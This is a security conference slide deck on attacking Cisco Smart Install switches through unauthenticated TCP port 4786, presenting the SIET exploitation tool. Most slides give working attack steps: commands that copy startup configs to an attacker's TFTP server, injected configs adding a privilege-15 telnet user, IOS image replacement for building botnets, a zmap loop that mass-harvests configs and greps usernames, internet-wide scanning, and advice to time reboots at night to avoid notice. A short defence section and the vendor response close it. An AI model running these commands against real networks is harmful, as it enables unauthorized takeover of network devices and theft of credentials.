Cisco Smart Install

Part 1. Research for the “pentest”

Dmitry Kuznetsov
Smart Install is a plug-and-play configuration and image-management feature that provides zero-touch deployment for new switches. This means that a customer can ship a switch to a location, place it in the network and power it on with no configuration required on the switch. This technology also provides backup configuration when it is modified.
Smart Install Network

The main components of the network Smart Install:

- The **Director** builds a topology director database for the network by collecting information from the network Smart Install switches.
  - The director uses the database:
    - To assign a configuration file and image to a client.
    - As a reference to obtain the PID, the image name, and the configuration file for an on-demand update of network switches.

- In Smart Install network uses **DHCP server** to assign IP addresses for transfer of specific parameters.

- Smart Install relies on a **TFTP server** to store image and configuration files. The TFTP server can be an external device, or the director can act as a TFTP server. If the director is the TFTP server, the available flash file space on the director must be adequate to accommodate the client Cisco IOS image and configuration files.

- **Client switches** have a direct or indirect connection to the director so that they can receive image and configuration downloads from it. A switch becomes a Smart Install client when either director or when the director IP address is configured on the switch manually.
<table>
<thead>
<tr>
<th>Switch</th>
<th>Minimum Software Releases</th>
<th>Release Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>Catalyst 3750-E, 3750, 3560-E, and 3560 Switches</td>
<td>Cisco IOS Release 12.2(52)SE</td>
<td>01.10.2009</td>
</tr>
<tr>
<td>Catalyst 3750-X and 3560-X Switches</td>
<td>Cisco IOS Release 12.2(53)SE2</td>
<td>27.04.2010</td>
</tr>
<tr>
<td>Catalyst 3560-C Compact Switches</td>
<td>Cisco IOS Release 12.2(55)EX</td>
<td>12.08.2010</td>
</tr>
<tr>
<td>Catalyst 2960 and 2975 Switches</td>
<td>Cisco IOS Release 12.2(52)SE</td>
<td>01.10.2009</td>
</tr>
<tr>
<td>Catalyst 2960-S Switches</td>
<td>Cisco IOS Release 12.2(53)SE1</td>
<td>27.04.2010</td>
</tr>
<tr>
<td>Catalyst 2960-C Compact Switches</td>
<td>Cisco IOS Release 12.2(55)EX1</td>
<td>12.08.2010</td>
</tr>
<tr>
<td>Catalyst 2960-SF</td>
<td>Cisco IOS Release 15.0(2)SE</td>
<td>07.08.2012</td>
</tr>
<tr>
<td>Catalyst 2960-P</td>
<td>Cisco IOS Release 15.2(2)SE</td>
<td>26.11.2013</td>
</tr>
</tbody>
</table>

- the earliest releases
## Supported Devices for Smart Install

### «Director»

<table>
<thead>
<tr>
<th>Switch or Router</th>
<th>Minimum Software Releases</th>
<th>Release Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>Catalyst 6500 Supervisor Engine 2T-10GE</td>
<td>Cisco IOS Release 15.1(1)SY</td>
<td>03.05.2013</td>
</tr>
<tr>
<td>Catalyst 4500 Supervisor Engine 7E and 7LE</td>
<td>Cisco IOS Release XE 3.4SG</td>
<td>24.07.2013</td>
</tr>
<tr>
<td>Catalyst 4500 Supervisor Engine 6K and 6LE</td>
<td>Cisco IOS Release 15.1(2)SG</td>
<td>24.07.2013</td>
</tr>
<tr>
<td>Catalyst 3850</td>
<td>Cisco IOS Release 3.2(0)SE</td>
<td>03.04.2013</td>
</tr>
<tr>
<td>Catalyst 3650</td>
<td>Cisco IOS Release 3.3(0)SE</td>
<td>07.10.2013</td>
</tr>
<tr>
<td>Catalyst 3750 (E,X), 3560 (E,X) Switches</td>
<td>Cisco IOS Release 12.2(55)SE</td>
<td>12.08.2010</td>
</tr>
<tr>
<td>Cisco 3800, 2800, and 1800 Series Integrated Services Routers</td>
<td>Cisco IOS Release 15.1(3)T</td>
<td>21.01.2011</td>
</tr>
<tr>
<td>Cisco 3900, 2900, and 1900 Series Integrated Services Routers G2</td>
<td>Cisco IOS Release 15.1(3)T</td>
<td>21.01.2011</td>
</tr>
</tbody>
</table>

- the earliest releases

[www.zeronights.org](http://www.zeronights.org)
The Cisco IOS releases 15.0(2)SE, 15.1(1)SY, 15.1(2)SG, XE 3.4SG, 15.0(2)EX, 15.0(2)EX1, 3.6.(0)E, and 15.2.(2)E are Smart Install capable switches, supporting non-VLAN 1 management and providing the ability to discover the client switches available on non-VLAN 1.

### Smart Install Description

**Director Database Contents of Client Switches**

<table>
<thead>
<tr>
<th>Client Switch</th>
<th>In Director Database?</th>
<th>Source of Database Information</th>
</tr>
</thead>
<tbody>
<tr>
<td>Client 1</td>
<td>Yes</td>
<td>Learned from Cisco Discovery Protocol (CDP) and from Smart Install. The client also sends information about its neighbor (Client 2).</td>
</tr>
<tr>
<td>Client 2</td>
<td>Yes</td>
<td>Information received from Client 1.</td>
</tr>
<tr>
<td>Client 3</td>
<td>Yes</td>
<td>Learned from CDP.</td>
</tr>
<tr>
<td>Client 4</td>
<td>No</td>
<td>No information available. The client is not an immediate neighbor of the director or another Smart Install switch.</td>
</tr>
<tr>
<td>Client 5</td>
<td>Yes</td>
<td>Learned from CDP.</td>
</tr>
<tr>
<td>Client 6</td>
<td>No</td>
<td>No information available. The client is not an immediate neighbor of the director or another Smart Install switch.</td>
</tr>
<tr>
<td>Client 7</td>
<td>Yes</td>
<td>Learned from CDP and from Smart Install. The client also sends information about its neighbor Client 8. Client 7 is a non-VLAN 1 switch.</td>
</tr>
<tr>
<td>Client 8</td>
<td>Yes</td>
<td>The information to Client 8 will be sent by Client 7 via non-VLAN1. Client 8 is a non-VLAN 1 switch.</td>
</tr>
</tbody>
</table>
Custom groups take precedence over built-in groups and are based on:

- **Stack group**—For switches in a stack, you can configure groups based on their number in the stack. Stack groups are used only for switch stack upgrades, and clients do not need to be in the director database.
  
  \[
  \text{match 3 3750e WS-3750E-24PD} \quad (\text{matches switch 3 in a Catalyst 3750E stack with a port configuration of 24 PoE ports})
  \]

- **MAC address**—You can create a custom group of specific switches by using the MAC addresses of the switches to configure the group. You can include switches with the same or different product IDs, as long as they use the same image and configuration file.
  
  \[
  \text{match mac 0023.34ca.c180} \\
  \text{match mac 001a.a1b4.ee00}
  \]

- **Connectivity**—You can configure a custom group based on network topology; that is, all switches that have the same upstream neighbor. Connectivity groups take precedence over groups with matching product IDs or stack numbers. Connectivity groups include only standalone switches (not switch stacks), and clients must be in the director database.
  
  \[
  \text{match host 2.2.2.2 interface gigabitethernet0/1}
  \]

- **Product IDs (PIDs)**—These product IDs are all supported models, including newer PIDs that were not shipping when the software was released and therefore are not in the CLI. PID groups include only standalone switches (not switch stacks), and clients do not need to be in the director database.

  \[
  \text{match WS-C2960-48TC-L}
  \]

**Built-in groups** are based on PIDs that you can select from the CLI. These represent the fixed Ethernet switching products that were shipping when the software was released, for example, 3750, 3560, 2975, 2960, 3850, and 3650.

\[
\text{match built-in 3560 24}
\]
New switch is plugged in and connected to the network and boots up.

The director searches its database to determine if the switch belongs to a configured group.

Does Director have a configuration for the type of client or default configuration?

No

Finish

Yes

The new client receives the image and configuration files.

Is "Join window"* open?

No

The Smart Install configuration and image files are sent to the client only during the configured time Period.

Yes

*Join window* - the time interval during which the director sends configuration and image files to clients.
**BackUp Configuration** After a client boots up, it sends a copy of its startup configuration to the director. This file is the backup configuration for that client. Any time the user, directly or through the director, saves a client configuration, a backup configuration is created. The configuration is stored on the local repository on the director or on a remote repository on a server.

A client configuration backup is triggered:
- When the write memory privileged EXEC command is entered on the client.
- When the director boots up, it requests configuration information from clients and backs up these configurations.

**vstack script** To identify the default post install file for the clients.
- not available when a router is the Smart Install Director;
- was introduced in releases 15.2(2)E and 3.6.0E (Release Date 27.06.2014).

Example of post install script:

```
"vlan 123" "name VLAN" "exit"
"sdm prefer default"
```
Description of the test infrastructure

Scheme of connection

<table>
<thead>
<tr>
<th>Name</th>
<th>Model (PID)</th>
<th>Release OS</th>
</tr>
</thead>
<tbody>
<tr>
<td>«Director» (1)</td>
<td>Cisco 2901 (CISCO2901/K9)</td>
<td>15.0(1r)M15</td>
</tr>
<tr>
<td>«Director» (2)</td>
<td>Cisco Catalyst 3750 (WS-C3750X-48P)</td>
<td>15.2(4)E2</td>
</tr>
<tr>
<td>«Client1»</td>
<td>Cisco Catalyst 2960 (WS-C2960-48TFL)</td>
<td>15.0(2)SE10</td>
</tr>
<tr>
<td>«Client2»</td>
<td>Cisco Catalyst 2960S (WS-C2960S-48TS-L)</td>
<td>15.2(2a)E</td>
</tr>
<tr>
<td>«TFTP-server»</td>
<td>Desktop</td>
<td>Windows 7 x64, TFTPd64</td>
</tr>
<tr>
<td>«Console»</td>
<td>Desktop</td>
<td>Windows 7 x64, com1, PuTTY</td>
</tr>
<tr>
<td>«Notebook»</td>
<td>Notebook</td>
<td>Windows 7 x64, CentOS 7 x64, WireShark (2.0.5)</td>
</tr>
</tbody>
</table>
Description of the test infrastructure
Instruments for researching

- **Wireshark (Version 2.0.5)** – is the world’s foremost and widely-used network protocol analyzer. It lets you see what’s happening on your network at a microscopic level and is the de facto (and often de jure) standard across many commercial and non-profit enterprises, government agencies, and educational institutions. (https://www.wireshark.org)

- **debug vstack all** (Cisco CLI) - to enable debugging of the Smart Install all feature. Display debugging information on device console.

- **monitor session...** (Cisco CLI) - this means that this mirror port will receive copies of all packets on the corresponding original port while the original traffic won't be affected.

- **Python 2.7 + module “socket”**
  
  ```python
  c1 = 'tftp://192.168.1.5/tar_imglist0.txt'
  sTcp= sTcp + c1.encode('hex')  
  sTcp= sTcp + binascii.hexlify(c1.encode()).decode()  
  ```
  
  `- Python 2.7
  
  `- Python 3.0
Description of the test infrastructure

Configuration

«Director» Cisco 2901 (CISCO2901/K9), 15.0(1r)M15

```bash
vstack group custom c2960Lan product-id
image tftp://192.168.1.5/c2960-lanbasek9-tar.150-2.5E10.tar
config tftp://192.168.1.5/c2960-lanbase_config.txt
script tftp://192.168.1.5/c2960-lanbase_post_install.txt
match WS-C2960-48TT-L
!
vstack group custom c2960SLan product-id
image tftp://192.168.1.5/c2960s-universalk9-tar.152-2a.E1.tar
config tftp://192.168.1.5/c2960SLan_config
script tftp://192.168.1.5/c2960SLanbase_post_install.txt
match WS-C2960S-48TS-L
!
vstack dhcp-localserver LANPOOL
address-pool 192.168.1.0 255.255.255.0
file-server 192.168.1.5
default-router 192.168.1.1
!
vstack director 192.168.1.1
vstack basic
vstack startup-vlan 1
vstack backup file-server tftp://192.168.1.5/
```

<- Cisco Catalyst 3750 (WS-C3750X-48P), 15.2(4)E2
<- Group based on Product ID

<- Cisco Catalyst 3750 (WS-C3750X-48P), 15.2(4)E2
<- Group based on Product ID
Description of the test infrastructure

Configuration

What is done:

- Deleting configuration files on «Client1» and «Client2» (write erase).
- Connecting clients to the network of director.
- All clients receives the image and configuration files according to the settings on the director.
- Testing the correct operation of the backup clients configurations on TFTP-server.

Displaying on console of director:

Director# show vstack status
SmartInstall: ENABLED

Device Status:  ACT - Active  INA - Inactive  PND - Pending Update
               HLD - On-hold  DNY - Denied  NSI - Non Smart Install
Image Upgrade:  i - in progress  I - done  X - failed
Config Upgrade:  c - in progress  C - done  x - failed

Director Database:

<table>
<thead>
<tr>
<th>DevNo</th>
<th>MAC Address</th>
<th>Product-ID</th>
<th>IP_addr</th>
<th>Hostname</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>fc99.4737.8660</td>
<td>CISCO2901/K9</td>
<td>192.168.1.1</td>
<td>Director.y</td>
<td>Director</td>
</tr>
<tr>
<td>1</td>
<td>a8b1.d464.2480</td>
<td>WS-C2960S-48TS-L</td>
<td>192.168.1.4</td>
<td>SW_EXT</td>
<td>ACT I C &quot;Client2&quot;</td>
</tr>
<tr>
<td>2</td>
<td>d0c2.8279.1880</td>
<td>WS-C2960-48TT-L</td>
<td>192.168.1.2</td>
<td>LAN</td>
<td>ACT I C &quot;Client1&quot;</td>
</tr>
</tbody>
</table>
- Notebook connected in network of «Director».
- Run Wireshark.
- After reload Client2 we are received broadcast UDP-packet – response director at DHCP request the network settings:

```
Client IP address: 0.0.0.0
Your (client) IP address: 192.168.1.4
Next server IP address: 0.0.0.0
Relay agent IP address: 0.0.0.0
Client MAC address: CiscoInc_64:24:c0 (a8:b1:04:64:24:c0)
Client hardware address padding: 0000000000000000
Server host name not given
Boot file name: SW_EXT-a3b1.d464.2480.REV2
Magic cookie: 0x63
Option: (53) DHCP Message Type (ACK)
Option: (54) DHCP Server Identifier
Option: (51) IP Address Lease Time
Option: (50) Renewal Time Value
Option: (59) Rebinding Time Value
Option: (1) Subnet Mask
Option: (150) TFTP Server Address
  Length: 4
  TFTP Server Address: 192.168.1.5
```
Script of Python 2.7 on virtual machine “Cent OS 7”.

- Scanning network for open TCP-port “Smart Install” (4786).
- Sending broadcast UDP-request DHCP with MAC-address of found devices.

![DHCP output image]

- Receiving broadcast DHCP answer from “Director” with information of saved configuration.
- Downloading found configurations from TFTP-server on our local disk.

Results:

- Based on these configurations we can have a complete picture of the structure of the network segment.
- You can try to get the administrator password from hash of the device configurations.
• Connecting Notebook in port of “Director” and setting mirroring this with port of “Client1”.
  
  ```
  monitor session 1 source interface FastEthernet0/1
  monitor session 1 destination interface FastEthernet0/2
  ```

• Run Wireshark.

• On the "Directors", enter a command to force a refresh configuration in three versions:
  ```
  #vstack download-config tftp://192.168.1.5/c2960Lan_config 192.168.1.2 NONE startup
  - without reload device;
  #vstack download-config tftp://192.168.1.5/c2960Lan_config 192.168.1.2 NONE startup reload
  - reload device now;
  #vstack download-config tftp://192.168.1.5/c2960Lan_config 192.168.1.2 NONE startup reload in 23:28
  - reload device after time (23 h 28 m).
  ```

• Looking on displaying of console on “Director” and “Client2”.

• Collect network packets sent "Director".

• Observing the use of the loaded configuration on the device after a reboot.
Research No. 2
Network packets

<- without reload device

<- reload device now

<- reload device after time (23 h 28 m)
Script of Python 2.7 on virtual machine “Cent OS 7”.

- Make changes to the configuration file obtained in Research No.1.
  For example, adding this lines:
  ```
  username ccc privilege 15 secret 0 cisco
  line vty 0 4
  login local
  transport input telnet
  end
  ```

- Preparing a TCP-packet with the name and address of the modified configuration file on our TFTP-server (own TFTP-server has been implemented to improve the quality of carrying out attacks on Python) and sending him on TCP-port “Smart Install” of “Client”.

- We observe the loading of our file and use of our settings after rebooting the device.

Results:

- If you run the reboot pending at night, our attack can pass unnoticed.
- !!! All supported devices for Smart Install Client are the vulnerable at this is attack.
- Since the current configuration in this case is not available to us, we can only replace it in the embodiment which is shown above— a "Denial of Service« (DoS).
• Connecting Notebook in port of “Director” and setting mirroring this with port of “Client1”.
  monitor session 1 source interface FastEthernet0/1
  monitor session 1 destination interface FastEthernet0/2

• Run Wireshark.

• On the "Directors", enter a command to force a upgrade IOS in two versions:
  # vstack download-image tar tftp://192.168.1.5/c2960-lanbasek9-tar.150-2.SE10.tar 192.168.1.2 NONE override reload
    - reload device now;
    - reload device after time (23 h 15 m).

• Looking on displaying of console on “Director” and “Client2”.
• Collect network packets sent "Director".
• Observing the use of the loaded release of IOS on the device after a reboot
Research No. 3
Network packets

<- reload device now

<- reload device after time (23 h 15 m)
Script of Python 2.7 on virtual machine “Cent OS 7”.
- Copying archive IOS (c2960-lanbasek9-tar.150-2.SE10.tar) to our TFTP-server.
- Preparing a file containing the name of the archive IOS.
  \[l.txt\:
  c2960-lanbasek9-tar.150-2.SE10.tar\]
- Preparing a TCP-packet with the name and address of the this file on our TFTP-server.
- We observe the loading of our file and use of our IOS after rebooting the device.

Results:
- If you run the reboot pending at night, our attack can pass unnoticed.
- !!! All supported devices for Smart Install Client are the vulnerable at this is attack.
- There is a theoretical possibility to make your code (so-called "bookmark") in the standard image of the IOS, create an archive so that it passed all tests before installation (structure, checksums, etc.). Once downloaded, this IOS we can make this device under attack in "bot".
CVE-2016-1349  Published: 2016 March 23 16:00 GMT

The Smart Install client feature in Cisco IOS and IOS XE Software contains a vulnerability that could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device.

The vulnerability is due to incorrect handling of image list parameters. An attacker could exploit this vulnerability by sending crafted Smart Install packets to TCP port 4786. A successful exploit could cause a Cisco Catalyst switch to reload, resulting in a DoS condition.

Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability other than disabling Smart Install functionality on the vulnerable device.
**BackUp Configuration** After a client boots up, it sends a copy of its startup configuration to the director. This file is the backup configuration for that client. Any time the user, directly or through the director, saves a client configuration, a backup configuration is created. The configuration is stored on the local repository on the director or on a remote repository on a server.

A client configuration backup is triggered:

- When the **write memory** privileged EXEC command is entered on the client.
- When the **director boots up**, it requests configuration information from clients and backs up these configurations.

Maybe the director makes the client send the configuration to the TFTP-server?
Research No. 4

Description

- Connecting Notebook in port of “Director” and setting mirroring this with port of “Client2”.
  
  ```
  monitor session 1 source interface FastEthernet0/1
  monitor session 1 destination interface FastEthernet0/2
  ```

- Run Wireshark.
- On the “Client2”, enter a command to save configuration “write memory”.
- Looking on displaying of console on “Director” and “Client2”.
- Collect network packets sent ”Director”.
- Observing the loading of the configuration on the TFTP-server.
Research No. 4
Network packet

copy
tftp://192.168.1.5//SW_EXT-a8b1.d464.2480.REV2
to
flash:SW_EXT-a8b1.d464.2480.tmp

copy
nvram:startup-config
to
tftp://192.168.1.5//SW_EXT-a8b1.d464.2480.REV2

copy
flash:SW_EXT-a8b1.d464.2480.tmp
to
tftp://192.168.1.5//SW_EXT-a8b1.d464.2480.REV1
Script of Python 2.7 on virtual machine “Cent OS 7”.

- Preparing a TCP-packet with the following commands:
  
copy nvram:startup-config flash:/config.text *
  copy nvram:startup-config tftp://192.168.1.6/client.conf **

* on versions above 15.0 is required to be the first to stand up copy on the flash
** except for commands "copy" «client» perceives nothing

- We observe the loading startup configuration of “Client2” on our local disk.

Results:

- !!! All supported devices for Smart Install Client are the vulnerable at this is attack.
- We will be able to edit the resulting configuration and replace it with a "Client" of the method "Research No. 2".
vstack script: To identify the default post install file for the clients.

This command is available only on switches.
- not available when a router is the Smart Install Director;
- was introduced in releases 15.2(2)E and 3.6.0E (Release Date 27.06.2014).

Example of post install script:
"vlan 123" "name VLAN" "exit"
"sdm prefer default"

Let's try to reproduce the network packet with post install script.
Research No. 5
Description

- Use as a "Director» Cisco Catalyst 3750 (WS-C3750X-48P) with a version of IOS 15.2 (4) E2.
- Inserting this line into configuration of vstack group:
  
  `script tftp://192.168.1.5/c2960-lanbase_post_install.txt`
- Connecting Notebook in port of "Director" and setting mirroring this with port of "Client2".
  
  `monitor session 1 source interface GigabitEthernet1/0/48`
  `monitor session 1 destination interface GigabitEthernet1/0/47`
- Run Wireshark.
- Preparing file:
  
  `c2960-lanbase_post_install.txt`:
  
  "interface GigabitEthernet1/0/1" "desc TEST" "exit"
  "username ccc privilege 15 secret 0 cisco" "exit"
- Deleting configuration files on «Client2» (write erase) and reload him now.
- “Client2" received the image IOS and configuration files according to the settings on the director as well as the commands are executed from file c2960-lanbase_post_install.txt.
- Looking on displaying of console on “Director” and “Client2”.
- Collect network packets sent "Director".
- Observing the result of executing commands from file c2960-lanbase_post_install.txt.
Research No. 5
Network packet

<- configuration file

<- file containing the name of the image IOS

<- file containing the post install commands
Script of Python 2.7 on virtual machine “Cent OS 7”.

- Preparing a TCP-packet with only file containing the post install commands.
  ```bash
c2960-lanbase_post_install.txt:
  "interface GigabitEthernet1/0/1" "desc TEST" "exit"
  "username ccc privilege 15 secret 0 cisco" "exit"
```
- Observing the result of executing commands from this file.
- In particular, we can login into “Client” with user "ccc" and password “cisco“.

Discovered restrictions:
- IOS version just above or equal to 15.2(2a)E (Release Date 11.12.2014)
- We can take only one such TCP-packet until the next “Client” reload.
- Can not be included in the script command to save the configuration (‘do-exec wr’) - an emergency reboot.

Results:
- !!! ???
Cisco Smart Install

Part 2. Pentester’s opportunities

Alexander Evstigneev
Smart Install Exploitation Tool

• **Main purpose:** generate tcp packets with specific payloads + tftp-server emulation

• Module structure. Ability to add new payloads

• Classic syntax:

  sudo python siet.py -h
  sudo python siet.py -g -i 192.168.0.1
  sudo python siet.py -c -i 192.168.0.1
  sudo python siet.py -u -i 192.168.0.1
• Change tftp-server address on client device by sending one malformed tcp packet:
  
  ```bash
  sudo python siet.py -t -i 192.168.0.1
  ```

• Open **69 udp** port

• Listening device response...

• Profit!
Let’s attack. Get device config

- Copy device startup-config with native cisco command:
  
  `copy nvram:startup-config tftp://' + my_ip + '/' + target_ip + '.conf'

- No authentication required

- `sudo python siet.py -g -i 192.168.0.1`

- Configuration files will added in `conf/` directory

```
[INFO]: Sending TCP packet to remote client
[DEBUG]: Decoded packet to sent: copy nvram:startup-config tftp://192.168.1.6/192.168.1.4.conf
[INFO]: Package send success to: 192.168.1.4
[INFO]: Start TftpServer
('\x00\x02192.168.1.4.conf\x00octet\x00', ('192.168.1.4', 59902))
[DEBUG]: Put file: 192.168.1.4.conf. File type: octet
[INFO]: Connect from: 192.168.1.4
[INFO]: Directory already exists. OK.
[INFO]: File created.
[INFO]: Getting config done
[INFO]: All done!
```
Let's attack. Simple example

```bash
zmap -p 4786 10.0.0.0/8 -o list.txt && for i in $(cat list.txt); do python siet.py -g -i $i; done && grep -T 'username*' conf/*
```
Let’s attack. Change device config

- Modify the config file or just press ‘d’ for default:

  `username ' + username + ' privilege 15 secret 0 ' + userpass + '\n' + 'interface Vlan1\n ip address ' + target_ip + ' ' + '255.255.255.0' + '\n no shutdown\n' + 'line vty 0 4\n login local\n transport input telnet\nend\n`

- `sudo python siet.py --c --i 192.168.0.1`

- Set time **before** a device will reload
Let’s attack. Update IOS

• The most difficult attack. Steps:
1. Get the device config
2. Try to identify device and IOS version
3. Search IOS image for device
4. Include payload in IOS image:
5. Try to update: sudo python siet.py –u –i 192.168.0.1
6. Construct your’s botnet!
Let’s attack. Command execution

• Prepare your list of commands. Example:
  
  ```
  > cat tftp/execute.txt
  "username cisco privilege 15 secret 0 cisco" "exit"
  ```

• sudo python siet.py –e –i 192.168.0.1

• No reload needed

• Only for 3.6.0E+ and 15.2(2)E+ IOS versions
Scanning the Internet. Preparation

- Use `nmap` probe for search Cisco Switch’s:
  ```
  match cisco-smartinstall
  m|\^\0\0\0\x04\0\0\0\0\0\0\x04\0\0\0\x04\0\0\0\0\0\x01| p/Cisco Switch Smart Install/ d/switch/ o/IOS/ cpe:/o:cisco:ios/a
  ```

- Zgrab them all:
  ```
  zmap -r 10000 -p 4786 -o - | ./zgrab -timeout=10 -port=4786 -data 1.req -output-file=banners.json
  ```
Scanning the Internet. Results

- Devices are vulnerable
- Can be attacked
- Answer on nmap probe
- «Clients» in Smart Install terms
Way to defense

• **Note:** Smart Install client functionality is enabled by default on Cisco IOS switches

• **Note:** Cisco devices that are configured as a Smart Install director are not affected by this attacks

• In certain releases of Cisco IOS and IOS XE Software, the Smart Install client feature can be disabled with the global configuration command `show vstack config ---> no vstack`

• Segmenting the network into multiple zones (management segment especially)
Vendor's answer

- Cisco has updated the Smart Install Description chapter in the Cisco Smart Install Configuration Guide to include Security Best Practices when deploying Cisco Smart Install functionality.

- The protocol does not require authentication by design, and the suggested best practices should be applied depending on how the feature is used in a specific customer environment.

- Customers who are not leveraging the Smart Install feature, or using it purely for zero-touch deployment, should disable the Smart Install feature once the switch has been deployed.

- Customers who are seeking more than just zero touch deployment, or need the added security of authorization and authentication between the director and clients, can migrate to Cisco Plug-N-Play (PnP).
Thanks!

Github: https://github.com/Sab0tag3d/SIET

The Cisco Smart Install Configuration Guide is available here:

Thanks Alexey Tyurin for idea

Any questions?